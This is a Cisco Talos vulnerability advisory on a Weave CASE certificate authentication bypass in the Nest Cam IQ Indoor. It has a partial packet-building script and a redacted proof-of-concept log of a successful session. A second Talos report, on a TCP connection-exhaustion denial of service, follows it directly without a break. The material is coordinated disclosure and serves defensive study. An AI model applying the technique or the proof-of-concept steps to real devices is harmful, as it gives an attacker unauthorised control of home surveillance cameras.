# Talos Vulnerability Report ### TALOS-2019-0811 ## Nest Labs Nest Cam IQ indoor Weave CASE nlWeaveCertificate authentication bypass vulnerability ##### August 19, 2019 ##### CVE Number CVE-2019-5044 ### Summary An exploitable certificate authentication vulnerability exists in the Weave CASE Pairing function of the Nest Cam IQ Indoor, version 4620002. A special private key and certificate can abuse a misconfiguration error, resulting in successful CASE authentication and full device control. An attacker can send packets to trigger this vulnerability. ### Tested Versions Nest Labs Nest Cam IQ Indoor version 4620002 ### Product URLs ### CVSSv3 Score 10.0 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H ### CWE CWE-419: Unprotected Primary Channel ### Details The Nest Cam IQ Indoor is one of Nest Labs' most expensive and advanced devices. The surveillance camera integrates with Google Assistant, contains facial recognition technology and even has the ability to act as an 6lowpan hub for other less powerful internet-of-things devices. The main protocol that is used for setup and initial communications of Nest devices is Weave, a protocol designed strictly for IoT devices, which can run over TCP, UDP, Bluetooth and 6lowpan. Before going into the details of the bug itself, a quick overview of the Weave protocol and terminology is needed, so for brevity, here's a packet dissection of a sample weave packet: --------TCP Message Layer----------- Mesage_Length : 0x01a7 Message Version : 0x1 Message_Id : 0x00000009 Message_Flags : 0x0200 : [ Srcnode ] Src_Node : 0000000000000002 Encryption : None --------Exchange Layer----------- Exchange Ver|Flag : 0x11 | [ Initiator ] Exchange MsgType : 0x0a | kMsgType_CASEBeginSessionRequest Exchange ExchangeID : 0xbfd6 Exchange ProfileID : 0x00000004 | kWeaveProfile_Security --------Data Layer----------- controlHeader: 0x81 (32-bit KeyConfirm) AlternateConfigCount: 0x1 AlternateCurveCount: 0x2 ECDHPubKey_PointLen: 0x39 CertInfoLength: 0xf8 PayloadLength: 0x0 ProtocolConfig: 0x235a0001 CurveId: 0x235a0025 SessionKeyId: 0x21e5 AlternateConfigs[0]: 0x235a0002 AlternateCurveIds[0]: 0x235a001b AlternateCurveIds[1]: 0x235a0025 ECDHPubKey: \x04\x05\xcc\x7f\xc2\x38\xf8\x55 CertInfo: //[1] \x95\x07\x00\x35\x01\x30\x01\x08 Payload: Signature.r: \x95\x08\x00\x30\x01\x1c\x05\xd7\x81\x60\x32\x4f\xbc\x45\x36\x44\x29\xce\x1d\x02\xae\x23\x83\x76\x08\xec\x1c\x03\x5b\xbd\xf2\x2b\x07\xc8 Signature.s: \x30\x02\x1c\x36\xd3\xa1\x84\x8b\xd8\xe2\xea\x57\xb1\xbf\x19\x08\x48\x04\xa9\xdb\xf3\xbf\x24\xb3\x76\x3a\x2f\x23\x09\x2b\xa6\x18 The message above, `kMsgType_CASEBeginSessionRequest`, is used to authenticate to a given Weave device by utilizing a certificate chain. This `CertInfo` struct [1] is a Weave TLV that mainly contains the certificate that one is trying to authenticate with, and also the trust chain for the certificate (if any). These certificates will be in a custom `WeaveCertificate` format, for reasons unknown, however they can easily be converted to the x509 format via the `weave convert-cert` command. Regardless, let's take a step back and talk overall use flow for the Nest Cam IQ Indoor. Initially, the device owner's phone pairs with the camera over bluetooth by using PASE authentication. Since the device has not been paired yet, the device owner now essentially has full access, however if one pairs to a Weave device via PASE after it has been paired, the level of access granted by PASE is much lower. Regardless, once this PASE authentication has occurred, the phone will upload a `ServiceConfig` to the device, which among other things, contains a set of trusted certificates that are stored on device until factory reset or unpairing. The `RegisterServicePairAccount` message looks as such: serviceBuf+= '\x00' # Encrypt(None) | flag1 (as of right now, no defined flags for this byte) serviceBuf+= '\x23' # Version(0x2) | flag2 (dstnode(0x1),sourcenode(0x2),tunneled(0x4),msgCounterSync(0x8)) serviceBuf+= '\x0b\x00\x00\x00' # MsgID serviceBuf+= '\x03\x00\x00\x00\x00\x00\x00\x00' # source node serviceBuf+= '\x18\xb4\x30\x00\x00\x00\x00\x01'[::-1] # dst node serviceBuf+= '\x01\x02' # KeyID # Exchange Header############################################# serviceBuf+= '\x15' # exchVersion | Flags ((Initiator, NeedsAck)) serviceBuf+= '\x01' # MessageType (0xa) : kMsgType_RegisterServicePairAccount serviceBuf+= '\xB0\x0B' # ExchangeId # serviceBuf+= '\x0F\x00\x00\x00' # ProfileId (((WeaveVendorId["kWeaveVendor_Common"] << 24 | 0x0000000F) == 0xF kWeaveProfile_ServiceProvisioning #serviceBuf+= '\x00\x00\x00\x00' # AckMsgId (Only set if kWeaveExchangeFlag_AckId is set. ##### BeginSessionRequestStruct: # +0x00: ServiceID # +0x08: AccountId # +0x10: AccountIdLen # +0x18: ServiceConfig # +0x20: ServiceConfigLen # +0x28: PairingToken # +0x30: PairingTokenLen # +0x38: PairingInitData ######## Data Layer (kMsgType_RegisterService)################################################## serviceBuf+= "\x00\x80" # AccountIdLen -| serviceBuf+= "\x00\x80" # ServiceConfigLen -| serviceBuf+= "\x00\x80" # ParingTokenLen -| serviceBuf+= "\x00\x80" # PairingInitDataLen-| serviceBuf+= "\x00\x00\x00\x00\x00\x00\x00\x01" # ServiceId ####### Delegate->HandleRegisterServicePairAccount Looking at a given `ServiceConfig`, there are a few different options that can be provided in the `ServiceConfig` TLV, but let us now look at a sanitized version of the `ServiceConfig` that is actually on the NestCam: 00000000 d5 00 00 0f 00 01 00 36 01 | Start of First Certificate. 00000009 15 30 01 08 47 58 7c |.......6..0..GX|| 00000010 d6 ca 43 e6 7c 24 02 04 37 03 27 13 01 00 00 00 |..C.|$..7.'.....| 00000020 ee 30 b4 18 18 26 04 45 48 16 1a 26 05 45 06 fb |.0...&.EH..&.E..| //[1] 00000030 49 37 06 27 13 01 00 00 00 ee 30 b4 18 18 24 07 |I7.'......0...$.| 00000040 02 26 08 25 00 5a 23 30 0a 39 04 14 9b 40 ad 5a |.&.%.Z#0.9...@.Z| 00000050 01 8f 44 fe 7e 92 99 79 5d 53 05 3d 28 b1 d9 52 |..D.~..y]S.=(..R| 00000060 53 1d 45 44 ad 59 4d cb 25 35 f0 d0 48 c5 30 88 |S.ED.YM.%5..H.0.| 00000070 6d e2 1f 9b 50 8d e1 a1 af 16 df af 49 29 84 6b |m...P.......I).k| 00000080 61 44 10 35 83 29 01 29 02 18 35 82 29 01 24 02 |aD.5.).)..5.).$.| 00000090 60 18 35 81 30 02 08 43 34 f7 12 df 5f 91 cf 18 |`.5.0..C4..._...| 000000a0 35 80 30 02 08 43 34 f7 12 df 5f 91 cf 18 35 0c |5.0..C4..._...5.| 000000b0 30 01 1d 00 96 f0 79 d5 c6 d4 6a 0f d3 ff fd 0f |0.....y...j.....| 000000c0 ec 4a b0 24 d4 00 4e 94 f4 85 63 53 ee 87 49 83 |.J.$..N...cS..I.| 000000d0 30 02 1d 00 8f 4e 6e 23 2f d8 70 88 a9 c8 2a fa |0....Nn#/.p...*.| 000000e0 6a 5e dc fa 2e 70 9d d2 27 d0 ad 4f 5a a6 8d 23 |j^...p..'..OZ..#| 000000f0 18 18 | start of second load cert 000000f2 15 30 01 08 25 30 //[2] [...] 000001e0 18 18 18 35 02 27 01 01 00 00 00 02 |.F./...5.'......| 000001f0 30 b4 18 36 02 15 2c 01 12 66 72 6f 6e 74 64 6f |0..6..,..frontdo| //[3] 00000200 6f 72 2e 6e 65 73 74 2e 63 6f 6d 25 02 57 2b 18 |or.nest.com%.W+.| 00000210 18 18 18 |...| As mentioned before, this TLV is a collection of trusted certificates that can be used for authentication, and the certificates for any given Nest Cam will be [1], the Nest Root Production Certificate, and [2], a Certificate that is registered to the given Nest user account (i.e. the account you log into from your phone or computer, to interact with your nest devices). It's also worth mentioning that there's a configuration for a `frontdoor` for the nest fabric at [3], however in the Nest Cam IQ Indoor, this does not seem to be used. Also, a friendlier version of the Nest Root Prod CA is here: Weave Certificate: Subject: WeaveCAId=18B430EE00000001 (Nest Production Root) Issuer: WeaveCAId=18B430EE00000001 (Nest Production Root) Subject Key Id: 4334F712DF5F91CF Authority Key Id: 4334F712DF5F91CF Validity: Not Before: 2013/08/13 Not After: 2038/08/13 Type: CA Is CA: true Key Usage: KeyCertSign CRLSign Public Key Algorithm: ECPublicKey Signature Algorithm: ECDSAWithSHA1 Curve Id: secp224r1 In summary, this means that if you can build a chain of trust to either your account's Certificate or the Nest Root Production CA, then you can authenticate via CASE and have full access to the Nest device's Weave interface. That bring us to a curious fact, the Nest Cam device's certificate: <(^_^)>~ openssl x509 -in device_cert.pem -text Certificate: Data: Version: 3 (0x2) Serial Number: [...] Signature Algorithm: ecdsa-with-SHA256 Issuer: 1.3.6.1.4.1.41387.1.3 = 18B430EE00000002 //[1] Validity Not Before: Feb 15 00:00:00 2017 GMT Not After : Feb 14 23:59:59 2042 GMT Subject: 1.3.6.1.4.1.41387.1.1 = 18B4300000[....] //[2] Subject Public Key Info: Public Key Algorithm: id-ecPublicKey [...] This `device_cert.pem` certificate, together with `device_cert.key`, can be extracted from any device. Of most note are the `Issuer` and `Subject` fields at [1] and [2]. The subject [2] of the certificate is the `node_id` of our given camera, as one might expect, but the curiosity is that this is not a self-signed cert, and that the `Issuer` [1] is actually the Nest Weave Prod Device CA certificate: Certificate: Data: Version: 3 (0x2) Serial Number: 8739370446520791215 (0x79487b1e316b30af) Signature Algorithm: ecdsa-with-SHA1 Issuer: 1.3.6.1.4.1.41387.1.3 = 18B430EE00000001 //[1] Validity Not Before: Aug 13 14:30:45 2013 GMT Not After : Aug 13 14:30:45 2038 GMT Subject: 1.3.6.1.4.1.41387.1.3 = 18B430EE00000002 //[2] Once again, we are given `Subject` [2] and `Issuer` [1] fields, and as shown, this `Subject` field matches the `Issuer` from our Nest Cam's certificate. Looking at the `Issuer`, we can see that this is indeed signed by the Nest Root Production CA, meaning that there is a valid chain of trust. To summarize everything above: first, if we can build a valid chain of trust to a certificate in a Weave device's `ServiceConfig`, we can gain full Weave access via CASE authentication. Second, Nest Cameras have the "Nest Root CA" in its `ServiceConfig`. Third, the Nest camera contains a certificate with a valid chain of trust to the "Nest Root CA". Taking all this into account, it's possible to authenticate to any Nest Camera, and potentially any Nest device in general, using the `device_cert.pem`/`device_cert.key` certificate pair. ### Exploit Proof-of-Concept To demonstrate the issue, a few intermediate steps are needed, but redacted POC output is below: <(^_^)>~ python TrustMeImADoctor.py [?.?] NewECDH ret=> 0x0 MsgDigest => 0x8f41d9256f4d9ff3170ce84390c6cc5af85ef0e317eac4b457dad7da37094366 [?.?] Did we generate a signature?? ret: 0x0 --------TCP Message Layer----------- Mesage_Length : 0x028b Message Version : 0x2 Message_Id : 0x00000114 Message_Flags : 0x0300 : [ Dstnode|Srcnode ] Src_Node : 18b4300001111111 Dst_Node : 18b4300002222222 Encryption : None --------Exchange Layer----------- Exchange Ver|Flag : 0x15 | [ Initiator|NeedsAck ] Exchange MsgType : 0x0a | kMsgType_CASEBeginSessionRequest Exchange ExchangeID : 0x0bb0 Exchange ProfileID : 0x00000004 | kWeaveProfile_Security --------Data Layer----------- controlHeader: 0x81 (32-bit KeyConfirm) AlternateConfigCount: 0x0 AlternateCurveCount: 0x0 ECDHPubKey_PointLen: 0x39 CertInfoLength: 0x1e0 PayloadLength: 0x0 ProtocolConfig: 0x235a0002 CurveId: 0x235a0025 SessionKeyId: 0x213f ECDHPubKey: \x04\x36\x94\x06\xeb\x67\xc6\x92\xd6\xe8\x24\x75\x1f\x5e\x37\x72\x53\x2c\xe5\xf6\x46\xa0\x93\xcd\xd9\x32\x9a\x1d\x93\x17\x35\x84\x48\x9e\x7e\x56\x44\xc6\xda\x2c\x70\xdc\xaa\xb9\xe1\x01\xb6\x3f\x67\x b0\x2d\x4f\x26\x40\x6c\xdc\xb7 CertInfo: Payload: \x Signature: \x95\x08\x00\x30\x01\x1c\x75\xe8\x0c\xd0\x64\x35\x66\x82\x6b\xdb\x5f\x27\x89\x49\x2e\x62\x7f\x24\xf5\x69\x72\xd9\x93\xed\x02\xc9\xb4\x14\x30\x02\x1c\x0b\x22\x4b\x04\xa7\x8d\x78\xfd\x60\x69\xfe\x7b\xd b\xf7\x38\x4d\x7b\xd6\xfe\xad\x24\x79\x3d\x91\x00\xaa\x98\x76\x18 [!_!] Sent buffer ^^^^^^ (len: 0x28d) --------TCP Message Layer----------- Mesage_Length : 0x01bc Message Version : 0x2 Message_Id : 0x00000003 Message_Flags : 0x0300 : [ Dstnode|Srcnode ] Src_Node : 18b4300000111111 Dst_Node : 18b4300000222222 Encryption : None --------Exchange Layer----------- Exchange Ver|Flag : 0x12 | [ AckId ] Exchange MsgType : 0x0b | kMsgType_CASEBeginSessionResponse Exchange ExchangeID : 0x0bb0 Exchange ProfileID : 0x00000004 | kWeaveProfile_Security Exchange AckID : 0x00000114 --------Data Layer----------- controlHeader: 0x40 (32-bit KeyConfirm) ECDHPubKey_PointLen: 0x39 CertInfoLength: 0xf8 PayloadLength: 0x0 ECDHPubKey: \x04\xa0\xbc\xac\xb4\xc8\x18\x43\x33\xd9\xf9\x45\x24\x56\xe9\x8c\xa1\xad\xed\x6c\x00\x4f\xcb\x60\x0b\xdb\x26\x86\x68\x49\xac\xdf\x98\x5f\x17\x8f\x08\x9d\xaf\x7a\xda\xa1\xc9\xfd\xb2\x8a\x55\x86\x0b\x e1\xd5\xa6\x86\xac\x00\x47\x71 CertInfo: Payload: Signature: \x95\x08\x00\x30\x01\x1d\x00\xac\x92\xf9\xb0\xee\x00\xf4\x4d\xe8\x29\xf9\xf7\x0e\x6c\x76\x55\xd3\x12\xcb\x51\x9d\x71\x12\x07\xf4\x61\xc5\x13\x30\x02\x1c\x39\xc3\xcc\x5e\xdc\x1a\x76\xfe\x5a\x67\x88\xd c\x79\xd0\x3d\xbc\x30\x16\xe8\x67\x91\x3c\x7b\xa4\x0b\x7c\xf4\x4e\x18 keyConfirmHash: \x23\xc1\x99\x8a\x1c\x07\x54\xb8\x29\xf0\x4c\xc5\x21\xd0\x24\x7f\xaf\x8d\x60\x75\x11\xb0\x44\x0b\x79\x4c\xeb\x16\x70\x16\x0b\x93 [!_!] Recv buffer ^^^^^^ (len: 0x1be) ----Ephemeral ECDH key data----- [^.^] priv key(len:0x1c) [^.^] pub key(len:0x39) our hash => 8f41d9256f4d9ff3170ce84390c6cc5af85ef0e317eac4b457dad7da37094366 their has => 67ec35e887764450b2eba66ca87e9512bf0deac5da646c9ecaf5c90284493ac5 [>->] Their PubKeyData(len:0x39) => [-_-] ECDHComputeSharedSecret : ret=> 0x0, len => 0x1C [!.!] SharedSecret => **************************************************************** PseudoRandomKey => Computed 68 Keylen => DataKey: IntegrityKey: KeyConfirmKey: Init Key Conf: Resp Key Conf: Sending!!!! --------TCP Message Layer----------- Mesage_Length : 0x003e Message Version : 0x1 Message_Id : 0x00000003 Message_Flags : 0x0300 : [ Dstnode|Srcnode ] Src_Node : 18b4300000111111 Dst_Node : 18b4300000222222 Encryption : None --------Exchange Layer----------- Exchange Ver|Flag : 0x11 | [ Initiator ] Exchange MsgType : 0x0c | kMsgType_CASEInitiatorKeyConfirm Exchange ExchangeID : 0x0bb0 Exchange ProfileID : 0x00000004 | kWeaveProfile_Security --------Data Layer----------- kMsgType_CASEInitiatorKeyConfirm Sha256KeyConf: \xf3\x5a\xe4\x22\xec\x3e\x7c\x42\x31\x75\x26\xee\x06\x6f\x47\x49\x77\x3a\xfc\xf4\xfd\xb9\x52\xda\x62\x5f\xc9\xda\x9f\x43\x34\x28 [^_^] Key conf good? Need to send encrypted packet now.... [>.>] Sending: --------TCP Message Layer----------- Mesage_Length : 0x002e Message Version : 0x1 Message_Id : 0x00000004 Message_Flags : 0x0300 : [ Dstnode|Srcnode ] Src_Node : 18b4300000111111 Dst_Node : 18b4300000222222 Encryption : None --------Exchange Layer----------- Exchange Ver|Flag : 0x11 | [ Initiator ] Exchange MsgType : 0x01 | kMessageType_IdentifyRequest Exchange ExchangeID : 0x7db1 Exchange ProfileID : 0x0000000e | kWeaveProfile_DeviceDescription --------Data Layer----------- 16 assorted bytes: \xff\xff\xff\xff\xff\xff\xff\xff\x01\x00\x00\x00\xff\xff\xff\xff --------TCP Message Layer----------- Mesage_Length : 0x0044 Message Version : 0x1 Message_Id : 0x00000004 Message_Flags : 0x0300 : [ Dstnode|Srcnode ] Src_Node : 18b4300000111111 Dst_Node : 18b4300000222222 Encryption : AES128CTRSha1 KeyId : 0x213F --------Encrypted Data----------- \xac\x5d\xab\xce\xe4\xad\x4d\xe1\xdb\x5f\xa9\x5b\x49\x3a\x78\xef\x10\x36\xcc\xce\xf7\x89\x8e\x7e\x28\x83\x30\x27\x00\x10\xcc\x63\x65\xc1\xb8\xfe\xcc\x21\x2d\x2d\x27\x40\x29\x9e [<.<] Response: --------TCP Message Layer----------- Mesage_Length : 0x0087 Message Version : 0x1 Message_Id : 0x00000000 Message_Flags : 0x0300 : [ Dstnode|Srcnode ] Src_Node : 18b4300000111111 Dst_Node : 18b4300000222222 Encryption : AES128CTRSha1 KeyId : 0x213F --------Encrypted Data----------- \xf6\x32\x88\x84\x26\xf0\xde\x9a\x12\x2f\xc0\xc0\x6d\x18\xc4\x81\x19\x24\x04\x77\xeb\x68\x7b\x96\xd1\x5f\x35\x0e\xae\xd5\xe9\x49\xdb\xcd\x39\xed\x9a\x30\x18\xbe\x3a\xb4\x44\xea\x08\xce\xdf\x79\x73\x59\xac\x84\x b2\xdd\xdc\x5a\x2f\x4f\x79\x9d\xaf\x55\xad\xc1\xfa\xb1\x4c\x97\xa8\x2e\x91\x82\x6a\x70\x24\x3d\x81\x16\x38\x36\x22\x19\x9f\x83\xff\x8a\x1c\xcb\x75\xb1\xd8\xda\xa6\xb1\xa4\x67\x3d\x1c\xff\xff\x51\xcd\x1c\xdf\x9b \x86\x46\x61\x08\xde\x44 [<.<] Decrypted Response: --------TCP Message Layer----------- Mesage_Length : 0x0087 Message Version : 0x1 Message_Id : 0x00000000 Message_Flags : 0x0300 : [ Dstnode|Srcnode ] Src_Node : 18b4300000111111 Dst_Node : 18b4300000222222 Encryption : None --------Exchange Layer----------- Exchange Ver|Flag : 0x10 | [ ] Exchange MsgType : 0x02 | kMessageType_IdentifyResponse Exchange ExchangeID : 0x7db1 Exchange ProfileID : 0x0000000e | kWeaveProfile_DeviceDescription --------Data Layer----------- Weave Ident TLV?: !@#$%^",11111111100R00 0, 123412341234)e`KǸB. ### Credit Discovered by Lilith Wyatt and Claudio Bozzato of Cisco Talos. http://talosintelligence.com/vulnerability-reports/ ### Timeline ### Summary An exploitable denial-of-service vulnerability exists in the Weave daemon of the Nest Cam IQ Indoor, version 4620002. A set of TCP connections can cause unrestricted resource allocation, resulting in a denial of service. An attacker can connect multiple times to trigger this vulnerability. ### Tested Versions Nest Labs Nest Cam IQ Indoor version 4620002 ### Product URLs ### CVSSv3 Score 5.3 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L ### CWE CWE-400: Uncontrolled Resource Consumption ### Details The Nest Cam IQ Indoor is one of Nest Labs' most expensive and advanced devices, integrating Google Assistant, facial recognition and even the ability to act as an 6lowpan hub for other, less powerful internet-of-things devices. The main protocol that is used for setup and initial communications of Nest devices is Weave, a protocol designed strictly for IoT devices, which can run over TCP, UDP, Bluetooth and 6lowpan. Due to the fact that Weave devices can inherently handle so many different device types, shared object pools were implemented to keep track of all the connection types: TCP, UDP, Tunnel, Raw, AsyncDNS, and also BLE. For instance, inside of the `/src/inet/` directory, we can see a static allocation of a pre-set amount of different endpoints: DNSResolver.h: static Weave::System::ObjectPool sPool; RawEndPoint.h: static Weave::System::ObjectPool sPool; TCPEndPoint.h: static Weave::System::ObjectPool sPool; TunEndPoint.h: static Weave::System::ObjectPool sPool; UDPEndPoint.h: static Weave::System::ObjectPool sPool; The default configuration of Weave allocates endpoints with 0x40 endpoints, but in the actual Nest Cam IQ Indoor, there's only 0x8 TCP endpoints. As one might expect, as someone connects to the Weave daemon over TCP, a given TCP endpoint is allocated, but interestingly, the TCPEndpoints are never set to have an idle timeout. The `nl::Inet::TCPEndPoint::SetIdleTimeout(unsigned int)` function is called with a parameter of 0x0, causing all TCP endpoint connections to never expire. When someone tries to connect after all TCP endpoints are gone, the connection is closed and the following log messages are given: WEAVE:IN: ERROR: TCP endpoint pool FULL WEAVE:EM: ERROR: Accept FAILED, err = Inet Error -1979: No more TCP endpoints Thus, if an attacker trivially connects eight different TCP sockets, then all other devices are denied connectivity to the given Weave daemon. While the timeout issue causes this to be trivial to trigger, the core issue is that there's a small and static number of connections that can be allocated. Some other things worth noting: If someone connects over any other Transport layer (BLE, UDP, 6lowpan), then the connection gets through. It is thought that BLE would be just as simple to DOS, but UDP would not be possible to prevent. It does seem however that nothing by default will do authenticated PASE or CASE sessions over UDP, so authenticated sessions can still be denied for now. Also worth noting is that if someone wants to deny Weave service to the Nest Cam IQ Indoor, there seems to be a persistent Weave connection to Nest Lab's servers (most likely `oculus.dropcam.com` or `nexus.dropcam.com`), and one would have to either deny access to the camera on boot in order to prevent this communication, or be able to sever this remote connection. ### Timeline 2019-04-18 - Vendor Disclosure 2019-05-20 - Vendor completed analysis 2019-06-18 - Follow up with vendor 2019-07-02 - 90 day notice; Vendor advised updates scheduled for release mid-July 2019-07-18 - Vendor advised fix will release end of July and be tested in the field 2019-07-26 - Extended disclosure date to 2019-08-15 2019-08-19 - Public Release ##### Credit Discovered by Lilith Wyatt and Claudio Bozzato of Cisco Talos. * * * Vulnerability Reports Next Report TALOS-2019-0809 Previous Report TALOS-2019-0810

Reporter	Title	Published	Views	Family All 3
Cvelist	CVE-2019-5044	9 Jul 201918:25	–	cvelist
NVD	CVE-2019-5044	9 Jul 201919:15	–	nvd
Talos	Nest Labs Nest Cam IQ indoor Weave CASE nlWeaveCertificate authentication bypass vulnerability	19 Aug 201900:00	–	talos